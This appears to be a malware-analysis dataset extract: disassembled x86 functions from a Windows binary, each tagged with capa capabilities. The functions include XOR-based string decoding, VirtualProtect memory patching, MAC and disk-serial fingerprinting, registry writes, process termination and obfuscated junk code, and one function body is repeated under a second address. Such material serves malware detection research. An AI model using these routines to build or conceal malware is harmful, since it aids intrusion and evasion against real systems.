joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100182f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x42
mov dword [ebp - 4], 0
jmp 0x10018312
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 5
jge 0x10018351
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x41d9b550]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001834c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10018309
mov eax, 1
imul ecx, eax, 5
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10018370
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xf2
mov dword [ebp - 4], 0
jmp 0x10018392
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x10
jge 0x100183d1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x555f26c3]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x100183cc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10018389
mov eax, 1
shl eax, 4
mov ecx, dword [ebp - 0xc]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x100189b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10018d20
add esp, 8
mov dword [ebp - 0xc], eax
lea edx, [ebp - 8]
push edx
push 0x40
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 8]
mov byte [edx], 0xe8
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 1], ecx
mov dword [ebp - 4], 5
jmp 0x10018a05
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jae 0x10018a18
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
mov byte [ecx], 0x90
jmp 0x100189fc
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret
Function at 0x10018b20
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], 0x288
push 0x12
call fcn.100437ce
add esp, 4
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0xc], 0
jne 0x10018b5b
push str.Error_allocating_memory_needed_for_MAC_address_n
call fcn.1001cb60
add esp, 4
xor eax, eax
jmp 0x10018d0d
push 0x288
call fcn.100437ce
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10018b91
push str.Error_allocating_memory_needed_for_adapter_info_n
call fcn.1001cb60
add esp, 4
mov eax, dword [ebp - 0xc]
push eax
call fcn.100437b1
add esp, 4
xor eax, eax
jmp 0x10018d0d
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x10018be4
mov eax, dword [ebp - 8]
push eax
call fcn.100437b1
add esp, 4
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.100437ce
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10018be4
push str.Error_reallocating_memory_needed_for_adapter_info_n
call fcn.1001cb60
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call fcn.100437b1
add esp, 4
xor eax, eax
jmp 0x10018d0d
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x10018ce5
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10018ce3
mov eax, dword [ebp - 4]
cmp dword [eax + 0x190], 6
jne 0x10018cd6
mov ecx, 1
imul edx, ecx, 5
mov eax, dword [ebp - 4]
movzx ecx, byte [eax + edx + 0x194]
push ecx
mov edx, 1
shl edx, 2
mov eax, dword [ebp - 4]
movzx ecx, byte [eax + edx + 0x194]
push ecx
mov edx, 1
imul eax, edx, 3
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + eax + 0x194]
push edx
mov eax, 1
shl eax, 1
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + eax + 0x194]
push edx
mov eax, 1
shl eax, 0
mov ecx, dword [ebp - 4]
movzx edx, byte [ecx + eax + 0x194]
push edx
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp - 4]
movzx eax, byte [edx + ecx + 0x194]
push eax
push str._02X_02X_02X_02X_02X_02X
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.10010bf0
add esp, 0x20
mov edx, dword [ebp - 0xc]
push edx
call fcn.1001a370
add esp, 4
test eax, eax
jne 0x10018cd6
push 0x12
call fcn.100437ce
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x10018cd4
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.10045740
add esp, 8
jmp 0x10018ce3
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 4], eax
jmp 0x10018bff
jmp 0x10018cf2
push str.Error_getting_adapter_information_n
call fcn.1001cb60
add esp, 4
mov ecx, dword [ebp - 8]
push ecx
call fcn.100437b1
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call fcn.100437b1
add esp, 4
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x1001a230
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x10077274]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x64
call fcn.100437ce
add esp, 4
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x1001a26a
push str.Error_allocating_memory_for_serial_number_n
call fcn.1001cb60
add esp, 4
xor eax, eax
jmp 0x1001a310
mov al, byte [0x1005ee99]
mov byte [ebp - 0x74], al
push 0x63
push 0
lea ecx, [ebp - 0x73]
push ecx
call fcn.1003dc60
add esp, 0xc
mov dl, byte [0x1005ee9a]
mov byte [ebp - 0x10], dl
xor eax, eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov byte [ebp - 7], al
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 0
push 0xa
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x7c]
push ecx
push 0x64
lea edx, [ebp - 0x74]
push edx
push 0x1005f54c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp eax, 1
jne 0x1001a2f0
mov eax, dword [ebp - 0x7c]
push eax
push 0x1005f550
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.10010bf0
add esp, 0xc
jmp 0x1001a301
push str.Error_getting_serial_number
mov edx, dword [ebp - 0x78]
push edx
call fcn.10045740
add esp, 8
mov eax, dword [ebp - 0x78]
push eax
call fcn.100437b1
add esp, 4
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003be5b
mov esp, ebp
pop ebp
ret

Function at 0x1001a320
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [ebp + 0x10], 1
jle 0x1001a348
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
jmp 0x1001a350
mov edx, dword [ebp + 8]
mov al, byte [ebp + 0xc]
mov byte [edx], al
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x1001bf60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
lea ecx, [ebp - 8]
push ecx
push 0x40
push 4
mov edx, 1
imul eax, edx, 0
add eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov dx, word [ebp + 0xc]
mov word [ecx], dx
mov esp, ebp
pop ebp
ret

Function at 0x1001c870
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0x400
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
shl ecx, 2
push ecx
call fcn.100437ce
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1001c8a2
xor eax, eax
jmp 0x1001c962
lea edx, [ebp - 0x10]
push edx
push 0x20019
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1001c960
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
push 0
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xea
jne 0x1001c931
mov eax, dword [ebp - 4]
add eax, 0x400
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.100437d9
add esp, 8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
jmp 0x1001c8e5
cmp dword [ebp - 0xc], 0
je 0x1001c945
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1001c962
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x1001c962
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1001ca80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esp, ebp
pop ebp
ret
Function at 0x1001cae0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1001cb50
mov eax, dword [ebp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [eax + eax + 2]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 1
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1001cb3f
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1001cb52
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x1001cb52
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x1001cbe0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x10077274]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x135], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xffffffff
je 0x1001cd26
mov dword [ebp - 0x134], pe_nt_image_headers32
lea eax, [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call sub.KERNEL32.dll_Process32First
mov edx, dword [ebp - 0x12c]
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x1001cd0b
mov dword [ebp - 0x13c], 0
jmp 0x1001cc75
mov eax, dword [ebp - 0x13c]
add eax, 1
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xa7
jae 0x1001ccfe
lea ecx, [ebp - 0x148]
push ecx
push 7
lea edx, [ebp - 0xc]
push edx
imul eax, dword [ebp - 0x13c], 0xc
mov ecx, dword [eax + 0x10076268]
push ecx
mov edx, dword [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1001ccf9
cmp dword [ebp - 0x148], 7
jne 0x1001ccf9
push 7
imul eax, dword [ebp - 0x13c], 0xc
add eax, 0x1007626c
push eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.1003e6bd
add esp, 0xc
test eax, eax
jne 0x1001ccf9
push 0
mov edx, dword [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1001d0d0
call fcn.10025930
jmp 0x1001cc66
mov eax, dword [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x134]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1001cc33
mov eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0x135]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003be5b
mov esp, ebp
pop ebp
ret
Function at 0x1001cd50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 3
mov dword [ebp - 4], 0
jmp 0x1001cd72
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xb
jge 0x1001cdb1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x472aed4d]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001cdac
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1001cd69
mov eax, 1
imul ecx, eax, 0xb
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x1001d0d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
test eax, eax
je 0x1001d0ea
jne 0x1001d0e9
call 0x9305c171
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001d0f8
jmp 0x1001d0fa
je 0x1001d0f5
clc
jae 0x1001d0ff
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x1001d104
jne 0x1001d104
pop eax
pushf
push 0xa
jae 0x1001d111
jmp 0x1001d10c
call 0x1001d113
jae 0x1001d10c
add esp, 4
jmp 0x1001d118
dec dword [esp]
jno 0x1001d11d
jns 0x1001d108
jp 0x1001d121
add esp, 4
popf
jmp 0x1001d128
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d141
jne 0x1001d141
call 0x1fc20495
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0xffffffffffffffff
call fcn.1004667b
clc
jae 0x1001d15e
shl byte [ecx], 1
pushf
push 0xa
jae 0x1001d16b
jmp 0x1001d166
call 0x1001d16d
jae 0x1001d166
add esp, 4
jmp 0x1001d172
dec dword [esp]
jno 0x1001d177
jns 0x1001d162
jp 0x1001d17b
add esp, 4
popf
jmp 0x1001d182
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d19b
jne 0x1001d19b
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x1001d1a0
jmp 0x1001d1a2
je 0x1001d19d
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d1bc
jne 0x1001d1bb
call 0x9305c243
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d1ca
jne 0x1001d1ca
call fcn.1001d28a
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
mov esp, 0
xor eax, eax
test eax, eax
je 0x1001d1d8
add esi, dword [ebp]
jne 0x1001d1d7
call 0x9305c25f
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001d1e6
jmp 0x1001d1e8
je 0x1001d1e3
clc
jae 0x1001d1ed
jp 0x1001d1d4
je 0x1001d1f2
jne 0x1001d1f2
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x1001d1ff
jmp 0x1001d1fa
call 0x1001d201
jae 0x1001d1fa
add esp, 4
jmp 0x1001d206
dec dword [esp]
jno 0x1001d20b
jns 0x1001d1f6
jp 0x1001d20f
add esp, 4
popf
jmp 0x1001d216
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d22f
jne 0x1001d22f
call 0x1fc20583
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1001d113
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x8003
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
test eax, eax
je 0x1001d0ea
jne 0x1001d0e9
call 0x9305c171
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001d0f8
jmp 0x1001d0fa
je 0x1001d0f5
clc
jae 0x1001d0ff
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x1001d104
jne 0x1001d104
pop eax
pushf
push 0xa
jae 0x1001d111
jmp 0x1001d10c
call 0x1001d113
jae 0x1001d10c
add esp, 4
jmp 0x1001d118
dec dword [esp]
jno 0x1001d11d
jns 0x1001d108
jp 0x1001d121
add esp, 4
popf
jmp 0x1001d128
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d141
jne 0x1001d141
call 0x1fc20495
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0xffffffffffffffff
call fcn.1004667b
clc
jae 0x1001d15e
shl byte [ecx], 1
pushf
push 0xa
jae 0x1001d16b
jmp 0x1001d166
call 0x1001d16d
jae 0x1001d166
add esp, 4
jmp 0x1001d172
dec dword [esp]
jno 0x1001d177
jns 0x1001d162
jp 0x1001d17b
add esp, 4
popf
jmp 0x1001d182
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d19b
jne 0x1001d19b
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x1001d1a0
jmp 0x1001d1a2
je 0x1001d19d
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001d1bc
jne 0x1001d1bb
call 0x9305c243
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001d1ca
jne 0x1001d1ca
call fcn.1001d28a
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
mov esp, 0
xor eax, eax
test eax, eax
je 0x1001d1d8
add esi, dword [ebp]
jne 0x1001d1d7
call 0x9305c25f
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001d1e6
jmp 0x1001d1e8
je 0x1001d1e3
clc
jae 0x1001d1ed
jp 0x1001d1d4
je 0x1001d1f2
jne 0x1001d1f2
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x1001d1ff
jmp 0x1001d1fa
call 0x1001d201
jae 0x1001d1fa
add esp, 4
jmp 0x1001d206
dec dword [esp]
jno 0x1001d20b
jns 0x1001d1f6
jp 0x1001d20f
add esp, 4
popf
jmp 0x1001d216
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001d22f
jne 0x1001d22f
call 0x1fc20583
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1001d250
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 5
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebp
ret
Function at 0x1001d520
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x26
mov dword [ebp - 4], 0
jmp 0x1001d542
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x1001d581
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x5e8de71]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001d57c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1001d539
mov eax, 1
shl eax, 2
mov ecx, dword [ebp - 0xc]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1001d5a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
add edx, 0xc
cmp dword [ebp - 8], edx
je 0x1001d673
cmp dword [ebp - 8], 0
je 0x1001d673
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
cmp edx, dword [ecx + 0x18]
jne 0x1001d666
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
mov dword [eax + 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x20]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x30]
mov dword [eax + 0x18], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x2c]
mov word [eax + 0x14], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x2e]
mov word [eax + 0x16], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x28]
mov dword [eax + 0x10], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x24]
mov word [eax + 0xc], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x26]
mov word [eax + 0xe], dx
mov al, 1
jmp 0x1001d675
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
jmp 0x1001d5c2
xor al, al
mov esp, ebp
pop ebp
ret